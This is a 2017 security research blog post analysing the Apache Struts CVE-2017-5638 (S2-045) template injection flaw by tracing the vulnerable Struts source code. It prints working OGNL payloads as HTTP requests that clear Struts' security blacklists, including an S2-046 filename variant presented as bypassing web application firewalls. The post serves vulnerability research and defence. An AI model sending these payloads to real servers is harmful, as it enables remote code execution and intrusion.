Monday, March 27, 2017 at 12:10PM

At GDS, we’ve had a busy few weeks helping our clients manage the risk associated with CVE-2017-5638 (S2-045), a recently published Apache Struts server-side template injection vulnerability. As we began this work, I found myself curious about the conditions that lead to this vulnerability in the Struts library code. We often hear about the exploitation of these types of vulnerabilities, but less about the vulnerable code that leads to them. This post is the culmination of research I have done into this very topic. What I present here is a detailed code analysis of the vulnerability, as well as payloads seen in the wild and a discussion on why some work while others don’t. I also present a working payload for S2-046, an alternate exploit vector that is capable of bypassing web application firewall rules that only examine request content types. I conclude with a couple of takeaways I had from this research.

For those unfamiliar with the concept of SSTI (server-side template injection), it’s a classic example of an injection attack. A template engine parses what is intended to be template code, but somewhere along the way ends up parsing user input. The result is typically code execution in whatever form the template engine allows. For many popular template engines, such as Freemarker, Smarty, Velocity, Jade, and others, remote code execution outside of the engine is often possible (i.e. spawning a system shell). For cases like Struts, simple templating functionality is provided using an expression language such as Object-Graph Navigation Language (OGNL). As is the case for OGNL, it is often possible to obtain remote code execution outside of an expression engine as well. Many of these libraries do offer mechanisms to help mitigate remote code execution, such as sandboxing, but they tend to be disabled by default or trivial to bypass.

From a code perspective, the simplest condition for SSTI to exist in an application is to have user input passed into a function that parses template code. Losing track of what functions handle values tainted with user input is an easy way to accidentally introduce all kinds of injection vulnerabilities into an application. To uncover a vulnerability like this, the call stack and any tainted data flow must be carefully traced and analyzed.

This was the case to fully understand how CVE-2017-5638 works. The official CVE description reads:

The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March 2017.

This left me with the impression that the vulnerable code existed in the Jakarta Multipart parser and that it was triggered by a “#cmd=” string in the Content-Type HTTP header. Using Struts 2.5.10 as an example, we’ll soon learn that the issue is far more nuanced than that. To truly grasp how the vulnerability works, I needed to do a full analysis of relevant code in the library.

Beginning With A Tainted Exception Message

An exception thrown, caught, and logged when this vulnerability is exploited reveals a lot about how this vulnerability works. As we can see in the following reproduction, which results in remote code execution, an exception is thrown and logged in the parseRequest method in the Apache commons upload library. This is because the content-type of the request didn’t match an expected valid string. We also notice that the exception message thrown by this library includes the invalid content-type header supplied in the HTTP request. This in effect taints the exception message with user input.

HTTP/1.1 200 OK Set-Cookie: JSESSIONID=16cuhw2qmanji1axbayhcp10kn;Path=/struts2-showcase Expires: Thu, 01 Jan 1970 00:00:00 GMT Server: Jetty(8.1.16.v20140903) Content-Length: 11 testwebuser

The caller responsible for invoking the parseRequest method that generates the exception is in a class named JakartaMultiPartRequest. This class acts as a wrapper around the Apache commons fileupload library, defining a method named processUpload that calls its own version of the parseRequest method on line 91. This method creates a new ServletFileUpload object on line 151 and calls its parseRequest method on line 147.

core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java: 90 : protected void processUpload ( HttpServletRequest request , String saveDir ) throws FileUploadException , UnsupportedEncodingException { 91 : for ( FileItem item : parseRequest ( request , saveDir ) ) { 92 : LOG . debug ( " Found file item: [{}] " , item . getFieldName ( ) ) ; 93 : if ( item . isFormField ( ) ) { 94 : processNormalFormField ( item , request . getCharacterEncoding ( ) ) ; 95 : } else { 96 : processFileField ( item ) ; 97 : } 98 : } 99 : } [ . . snip . . ] 144 : protected List < FileItem > parseRequest ( HttpServletRequest servletRequest , String saveDir ) throws FileUploadException { 145 : DiskFileItemFactory fac = createDiskFileItemFactory ( saveDir ) ; 146 : ServletFileUpload upload = createServletFileUpload ( fac ) ; 147 : return upload . parseRequest ( createRequestContext ( servletRequest ) ) ; 148 : } 149 : 150 : protected ServletFileUpload createServletFileUpload ( DiskFileItemFactory fac ) { 151 : ServletFileUpload upload = new ServletFileUpload ( fac ) ; 152 : upload . setSizeMax ( maxSize ) ; 153 : return upload ; 154 : }

Looking at the stacktrace, we can see that the processUpload method is called by JakartaMultiPartRequest’s parse method on line 67. Any thrown exceptions from calling this method are caught on line 68 and passed to the method buildErrorMessage. Several paths exist for calling this method depending on the class of the exception thrown, but the result is always that this method is called. In this case the buildErrorMessage method is called on line 75.

core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java: 64 : public void parse ( HttpServletRequest request , String saveDir ) throws IOException { 65 : try { 66 : setLocale ( request ) ; 67 : processUpload ( request , saveDir ) ; 68 : } catch ( FileUploadException e ) { 69 : LOG . warn ( " Request exceeded size limit! " , e ) ; 70 : LocalizedMessage errorMessage ; 71 : if ( e instanceof FileUploadBase . SizeLimitExceededException ) { 72 : FileUploadBase . SizeLimitExceededException ex = ( FileUploadBase . SizeLimitExceededException ) e ; 73 : errorMessage = buildErrorMessage ( e , new Object [ ] { ex . getPermittedSize ( ) , ex . getActualSize ( ) } ) ; 74 : } else { 75 : errorMessage = buildErrorMessage ( e , new Object [ ] { } ) ; 76 : } 77 : 78 : if ( ! errors . contains ( errorMessage ) ) { 79 : errors . add ( errorMessage ) ; 80 : } 81 : } catch ( Exception e ) { 82 : LOG . warn ( " Unable to parse request " , e ) ; 83 : LocalizedMessage errorMessage = buildErrorMessage ( e , new Object [ ] { } ) ; 84 : if ( ! errors . contains ( errorMessage ) ) { 85 : errors . add ( errorMessage ) ; 86 : } 87 : } 88 : }

Since the JakartaMultiPartRequest class doesn’t define the buildErrorMessage method, we look to the class that it extends which does: AbstractMultiPartRequest.

core/src/main/java/org/apache/struts2/dispatcher/multipart/AbstractMultiPartRequest.java: 98 : protected LocalizedMessage buildErrorMessage ( Throwable e , Object [ ] args ) { 99 : String errorKey = " struts.messages.upload.error. " + e . getClass ( ) . getSimpleName ( ) ; 100 : LOG . debug ( " Preparing error message for key: [{}] " , errorKey ) ; 101 : 102 : return new LocalizedMessage ( this . getClass ( ) , errorKey , e . getMessage ( ) , args ) ; 103 : }

The LocalizedMessage that it returns defines a simple container-like object. The important details here are:

The instance’s textKey is set to a struts.messages.upload.error.InvalidContentTypeException.

The instance’s defaultMessage is set to the exception message tainted with user input.

Next in the stacktrace, we can see that JakartaMultiPartRequest’s parse method is invoked in MultiPartRequestWrapper’s constructor method on line 86. The addError method called on line 88 checks to see if the error has already been seen, and if not it adds it to an instance variable that holds a collection of LocalizedMessage objects.

core/src/main/java/org/apache/struts2/dispatcher/multipart/MultiPartRequestWrapper.java: 77 : public MultiPartRequestWrapper ( MultiPartRequest multiPartRequest , HttpServletRequest request , 78 : String saveDir , LocaleProvider provider , 79 : boolean disableRequestAttributeValueStackLookup ) { 80 : super ( request , disableRequestAttributeValueStackLookup ) ; [ . . snip . . ] 85 : try { 86 : multi . parse ( request , saveDir ) ; 87 : for ( LocalizedMessage error : multi . getErrors ( ) ) { 88 : addError ( error ) ; 89 : }

On the next line of our stacktrace, we see that the Dispatcher class is responsible for instantiating a new MultiPartRequestWrapper object and calling the constructor method above. The method called here is named wrapRequest and is responsible for detecting if the request’s content type contains the substring “multipart/form-data” on line 801. If it does, a new MultiPartRequestWrapper is created on line 804 and returned.

core/src/main/java/org/apache/struts2/dispatcher/Dispatcher.java: 794 : public HttpServletRequest wrapRequest ( HttpServletRequest request ) throws IOException { 795 : // don't wrap more than once 796 : if ( request instanceof StrutsRequestWrapper ) { 797 : return request ; 798 : } 799 : 800 : String content_type = request . getContentType ( ) ; 801 : if ( content_type ! = null & & content_type . contains ( " multipart/form-data " ) ) { 802 : MultiPartRequest mpr = getMultiPartRequest ( ) ; 803 : LocaleProvider provider = getContainer ( ) . getInstance ( LocaleProvider . class ) ; 804 : request = new MultiPartRequestWrapper ( mpr , request , getSaveDir ( ) , provider , disableRequestAttributeValueStackLookup ) ; 805 : } else { 806 : request = new StrutsRequestWrapper ( request , disableRequestAttributeValueStackLookup ) ; 807 : } 808 : 809 : return request ; 810 : }

At this point in our analysis, our HTTP request has been parsed and our wrapped request object (MultiPartRequestWrapper) holds an error (LocalizedMessage) with our tainted default message and a textKey set to struts.messages.upload.error.InvalidContentTypeException.

Calling Struts’ File Upload Interceptor

The rest of the stacktrace doesn’t provide anything terribly useful to us to continue tracing data flow. However, we have a clue for where to look next. Struts processes requests through a series of interceptors. As it turns out, an interceptor named FileUploadInterceptor is part of the default “stack” that Struts is configured to use.

As we can see on line 242, the interceptor checks to see if our request object is an instance of the class MultiPartRequestWrapper. We know that it is because the Dispatcher previously returned an instance of this class. The interceptor continues to check if the MultiPartRequestWrapper object has any errors on line 261, which we already know it does. It then calls LocalizedTextUtil’s findText method on line 264, passing in several arguments such as the error’s textKey and our tainted defaultMessage.

core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java: 237 : public String intercept ( ActionInvocation invocation ) throws Exception { 238 : ActionContext ac = invocation . getInvocationContext ( ) ; 239 : 240 : HttpServletRequest request = ( HttpServletRequest ) ac . get ( ServletActionContext . HTTP_REQUEST ) ; 241 : 242 : if ( ! ( request instanceof MultiPartRequestWrapper ) ) { 243 : if ( LOG . isDebugEnabled ( ) ) { 244 : ActionProxy proxy = invocation . getProxy ( ) ; 245 : LOG . debug ( getTextMessage ( " struts.messages.bypass.request " , new String [ ] { proxy . getNamespace ( ) , proxy . getActionName ( ) } ) ) ; 246 : } 247 : 248 : return invocation . invoke ( ) ; 249 : } 250 : [ . . snip . . ] 259 : MultiPartRequestWrapper multiWrapper = ( MultiPartRequestWrapper ) request ; 260 : 261 : if ( multiWrapper . hasErrors ( ) ) { 262 : for ( LocalizedMessage error : multiWrapper . getErrors ( ) ) { 263 : if ( validation ! = null ) { 264 : validation . addActionError ( LocalizedTextUtil . findText ( error . getClazz ( ) , error . getTextKey ( ) , ActionContext . getContext ( ) . getLocale ( ) , error . getDefaultMessage ( ) , error . getArgs ( ) ) ) ; 265 : } 266 : } 267 : }

Following Localized Text

This is where things start to get interesting. A version of the LocalizedTextUtil’s method findText is called that tries to find an error message to return based on several factors. I have omitted the large method definition because the comment below accurately describes it. The findText method call is invoked where:

aClassName is set to AbstractMultiPartRequest.

aTextName is set to the error’s textKey, which is struts.messages.upload.error.InvalidContentTypeException.

Locale is set to the ActionContext’s locale.

defaultMessage is our tainted exception message as a string. Args is an empty array.

valueStack is set to the ActionContext’s valueStack.

397 : /** 398 : * <p> 399 : * Finds a localized text message for the given key, aTextName. Both the key and the message 400 : * itself is evaluated as required. The following algorithm is used to find the requested 401 : * message : 402 : * </p> 403 : * 404 : * <ol> 405 : * <li>Look for message in aClass' class hierarchy. 406 : * <ol> 407 : * <li>Look for the message in a resource bundle for aClass</li> 408 : * <li>If not found, look for the message in a resource bundle for any implemented interface</li> 409 : * <li>If not found, traverse up the Class' hierarchy and repeat from the first sub-step</li> 410 : * </ol></li> 411 : * <li>If not found and aClass is a {@link ModelDriven} Action, then look for message in 412 : * the model's class hierarchy (repeat sub-steps listed above).</li> 413 : * <li>If not found, look for message in child property. This is determined by evaluating 414 : * the message key as an OGNL expression. For example, if the key is 415 : * <i>user.address.state</i>, then it will attempt to see if "user" can be resolved into an 416 : * object. If so, repeat the entire process fromthe beginning with the object's class as 417 : * aClass and "address.state" as the message key.</li> 418 : * <li>If not found, look for the message in aClass' package hierarchy.</li> 419 : * <li>If still not found, look for the message in the default resource bundles.</li> 420 : * <li>Return defaultMessage</li> 421 : * </ol>

Because a resource bundle is not found defining an error message for struts.messages.upload.error.InvalidContentTypeException, this process ends up invoking the method getDefaultMessage on line 573:

core/src/main/java/com/opensymphony/xwork2/util/LocalizedTextUtil.java: 570 : // get default 571 : GetDefaultMessageReturnArg result ; 572 : if ( indexedTextName = = null ) { 573 : result = getDefaultMessage ( aTextName , locale , valueStack , args , defaultMessage ) ; 574 : } else { 575 : result = getDefaultMessage ( aTextName , locale , valueStack , args , null ) ; 576 : if ( result ! = null & amp ; & amp ; result . message ! = null ) { 577 : return result . message ; 578 : } 579 : result = getDefaultMessage ( indexedTextName , locale , valueStack , args , defaultMessage ) ; 580 : }

The getDefaultMessage method in the same class is responsible making one last ditch effort of trying to find a suitable error message given a key and a locale. In our case, it still fails and takes our tainted exception message and calls TextParseUtil’s translateVariables method on line 729.

core/src/main/java/com/opensymphony/xwork2/util/LocalizedTextUtil.java: 714 : private static GetDefaultMessageReturnArg getDefaultMessage ( String key , Locale locale , ValueStack valueStack , Object [ ] args , 715 : String defaultMessage ) { 716 : GetDefaultMessageReturnArg result = null ; 717 : boolean found = true ; 718 : 719 : if ( key ! = null ) { 720 : String message = findDefaultText ( key , locale ) ; 721 : 722 : if ( message = = null ) { 723 : message = defaultMessage ; 724 : found = false ; // not found in bundles 725 : } 726 : 727 : // defaultMessage may be null 728 : if ( message ! = null ) { 729 : MessageFormat mf = buildMessageFormat ( TextParseUtil . translateVariables ( message , valueStack ) , locale ) ; 730 : 731 : String msg = formatWithNullDetection ( mf , args ) ; 732 : result = new GetDefaultMessageReturnArg ( msg , found ) ; 733 : } 734 : } 735 : 736 : return result ; 737 : }

An OGNL Expression Data Sink

As it turns out, TextParseUtil’s translateVariables method is a data sink for expression language evaluation. Just as the method’s comment explains, it provides simple template functionality by evaluating OGNL expressions wrapped in instances of ${…} and %{…}. Several versions of the translateVariables method are defined and called, with the last evaluating the expression on line 166.

core/src/main/java/com/opensymphony/xwork2/util/TextParseUtil.java: 34 : /** 35 : * Converts all instances of ${...}, and %{...} in <code>expression</code> to the value returned 36 : * by a call to {@link ValueStack#findValue(java.lang.String)}. If an item cannot 37 : * be found on the stack (null is returned), then the entire variable ${...} is not 38 : * displayed, just as if the item was on the stack but returned an empty string. 39 : * 40 : * @param expression an expression that hasn't yet been translated 41 : * @param stack value stack 42 : * @return the parsed expression 43 : */ 44 : public static String translateVariables ( String expression , ValueStack stack ) { 45 : return translateVariables ( new char [ ] { '$' , '%' } , expression , stack , String . class , null ) . toString ( ) ; 46 : } [ . . snip . . ] 152 : public static Object translateVariables ( char [ ] openChars , String expression , final ValueStack stack , final Class asType , final ParsedValueEvaluator evaluator , int maxLoopCount ) { 153 : 154 : ParsedValueEvaluator ognlEval = new ParsedValueEvaluator ( ) { 155 : public Object evaluate ( String parsedValue ) { 156 : Object o = stack . findValue ( parsedValue , asType ) ; 157 : if ( evaluator ! = null & & o ! = null ) { 158 : o = evaluator . evaluate ( o . toString ( ) ) ; 159 : } 160 : return o ; 161 : } 162 : } ; 163 : 164 : TextParser parser = ( ( Container ) stack . getContext ( ) . get ( ActionContext . CONTAINER ) ) . getInstance ( TextParser . class ) ; 165 : 166 : return parser . evaluate ( openChars , expression , ognlEval , maxLoopCount ) ; 167 : }

With this last method call, we have traced an exception message tainted with user input all the way to the evaluation of OGNL.

Payload Analysis

A curious reader might be wondering how the exploit’s payload works. To start, let us first attempt to supply a simple OGNL payload that returns an additional header. We need to include the unused variable in the beginning, so that Dispatcher’s check for a “multipart/form-data” substring passes and our request gets parsed as a file upload.

POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: ${(#_='multipart/form-data').(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))} Content-Length: 0

HTTP/1.1 200 OK Set-Cookie: JSESSIONID=1wq4m7r2pkjqfak2zaj4e12kn;Path=/struts2-showcase Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/html [..snip..]

Huh? It didn’t work. A look at our logs shows a warning was logged:

17-03-24 12:48:30,904 WARN [qtp18233895-25] ognl.SecurityMemberAccess (SecurityMemberAccess.java:74) - Package of target [[email protected]2] or package of member [public void javax.servlet.http.HttpServletResponseWrapper.addHeader(java.lang.String,java.lang.String)] are excluded!

As it turns out, Struts offers blacklisting functionality for class member access (i.e. class methods). By default, the following class lists and regular expressions are used:

core/src/main/resources/struts-default.xml: 41 : < constant name = " struts.excludedClasses " 42 : value = " 43 : java.lang.Object, 44 : java.lang.Runtime, 45 : java.lang.System, 46 : java.lang.Class, 47 : java.lang.ClassLoader, 48 : java.lang.Shutdown, 49 : java.lang.ProcessBuilder, 50 : ognl.OgnlContext, 51 : ognl.ClassResolver, 52 : ognl.TypeConverter, 53 : ognl.MemberAccess, 54 : ognl.DefaultMemberAccess, 55 : com.opensymphony.xwork2.ognl.SecurityMemberAccess, 56 : com.opensymphony.xwork2.ActionContext " > 57 : [ . . snip . . ] 63 : < constant name = " struts.excludedPackageNames " value = " java.lang.,ognl,javax,freemarker.core,freemarker.template " >

To better understand the original OGNL payload, let us try a simplified version that actually works:

POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}} Content-Length: 0

HTTP/1.1 200 OK Set-Cookie: JSESSIONID=avmifel7x66q9cmnsrr8lq0s;Path=/struts2-showcase Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Struts-Exploit-Test: GDSTEST Content-Type: text/html [..snip..]

As we can see, this one does indeed work. But how is it bypassing the blacklisting we saw earlier?

What this payload does is empty the list of excluded package names and classes, thereby rendering the blacklist useless. It does this by first fetching the current container associated with the OGNL context and assigning it to the “container” variable. You may notice that the class com.opensymphony.xwork2.ActionContext is included in the blacklist above. How is this possible then? The blacklist doesn’t catch it because we aren’t referencing a class member, but rather by a key that already exists in the OGNL Value Stack (defined in core/src/main/java/com/opensymphony/xwork2/ActionContext.java:102). The reference to an instance of this class is already made for us, and the payload takes advantage of this.

Next, the payload gets the container’s instance of OgnlUtil, which allows us to invoke methods that return the current excluded classes and package names. The final step is to simply get and clear each blacklist and execute whatever unrestricted evaluations we want.

An interesting point to make here is that once the blacklists have been emptied, they remain empty until overwritten by code or until the application has been restarted. I found this to be a common pitfall when attempting to reproduce certain payloads found in the wild or documented in other research. Some payloads failed to work because they assumed the blacklists had already been emptied, which would have likely occurred during the testing of different payloads earlier on. This emphasizes the importance of resetting application state when running dynamic tests.

You may have also noticed that the original exploit’s payload used is a bit more complicated than the one presented here. Why does it perform extra steps such as checking a _memberAccess variable and calling a method named setMemberAccess? It may be an attempt to leverage another technique to clear each blacklist, just in case the first technique didn’t work. The setMemberAccess method is called with a default instance of the MemberAcess class, which in effect clears each blacklist too. I could confirm that this technique works in Struts 2.3.31 but not 2.5.10. I am still unsure, however, of what the purpose is of the ternary operator that checks for and conditionally assigns _memberAccess. During testing I did not observe this variable to evaluate as true.

Other Exploit Vectors

Other exploit vectors exist for this vulnerability as of 2.5.10. This is due to the fact that any exception message tainted with user input that doesn’t have an associated error key will be evaluated as OGNL. For example, supplying an upload filename with a null byte will cause an InvalidFileNameException exception to be thrown from the Apache commons fileupload library. This would also bypass a web application firewall rule examining the content-type header. The %00 in the request below should be URL decoded first. The result is an exception message that is tainted with user input.

POST /struts2-showcase/ HTTP/1.1 Host: localhost:8080 Content-Type: multipart/form-data; boundary=---------------------------1313189278108275512788994811 Content-Length: 570 -----------------------------1313189278108275512788994811 Content-Disposition: form-data; name="upload"; filename="a%00${(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}” Content-Type: text/html test -----------------------------1313189278108275512788994811--

HTTP/1.1 404 No result defined for action com.opensymphony.xwork2.ActionSupport and result input Set-Cookie: JSESSIONID=hu1m7hcdnixr1h14hn51vyzhy;Path=/struts2-showcase X-Struts-Exploit-Test: GDSTEST Content-Type: text/html;charset=ISO-8859-1 [..snip..]

2017-03-24 15:21:29,729 WARN [qtp1168849885-26] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:82) - Unable to parse request org.apache.commons.fileupload.InvalidFileNameException: Invalid file name: a\0${(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))} at org.apache.commons.fileupload.util.Streams.checkFileName(Streams.java:189) ~[commons-fileupload-1.3.2.jar:1.3.2] at org.apache.commons.fileupload.disk.DiskFileItem.getName(DiskFileItem.java:259) ~[commons-fileupload-1.3.2.jar:1.3.2] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processFileField(JakartaMultiPartRequest.java:105) ~[struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:96) ~[struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:67) [struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper. (MultiPartRequestWrapper.java:86) [struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:806) [struts2-core-2.5.10.jar:2.5.10]

As you can see by looking at the stacktrace, control flow diverges in the processUpload method of the JakartaMultiPartRequest class. Instead of an exception being thrown when calling the parseRequest method on line 91, an exception is thrown when calling the processFileField method and getting the name of a file item on line 105.

core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java: 90 : protected void processUpload ( HttpServletRequest request , String saveDir ) throws FileUploadException , UnsupportedEncodingException { 91 : for ( FileItem item : parseRequest ( request , saveDir ) ) { 92 : LOG . debug ( " Found file item: [{}] " , item . getFieldName ( ) ) ; 93 : if ( item . isFormField ( ) ) { 94 : processNormalFormField ( item , request . getCharacterEncoding ( ) ) ; 95 : } else { 96 : processFileField ( item ) ; 97 : } 98 : } 99 : } [ . . snip . . ] 101 : protected void processFileField ( FileItem item ) { 102 : LOG . debug ( " Item is a file upload " ) ; 103 : 104 : // Skip file uploads that don't have a file name - meaning that no file was selected. 105 : if ( item . getName ( ) = = null | | item . getName ( ) . trim ( ) . length ( ) < 1 ) { 106 : LOG . debug ( " No file has been uploaded for the field: {} " , item . getFieldName ( ) ) ; 107 : return ; 108 : } 109 : 110 : List < FileItem > values ; 111 : if ( files . get ( item . getFieldName ( ) ) ! = null ) { 112 : values = files . get ( item . getFieldName ( ) ) ; 113 : } else { 114 : values = new ArrayList < > ( ) ; 115 : } 116 : 117 : values . add ( item ) ; 118 : files . put ( item . getFieldName ( ) , values ) ; 119 : }

Takeaways

One takeaway I had from this research is that you can’t always rely on reading CVE descriptions to understand how a vulnerability works. The reason this vulnerability was ever possible was because the file upload interceptor attempted to resolve error messages using a potentially dangerous function that evaluates OGNL. The elimination of this possibility is what lead to a successful patching of this vulnerability. Therefore this is not a problem with the Jakarta request wrapper, as the CVE description implies, but with the file upload interceptor trusting that exception messages will be free of user input.

Another takeaway I had reinforced the idea that you can’t rely on using known attack signatures to block exploitation at the web application firewall level. For example, if a web application firewall were configured to look for OGNL in the content-type header, it would miss the additional attack vector explained in this post. The only reliable way to eliminate vulnerabilities like this one is to apply available patches, either manually or by installing updates.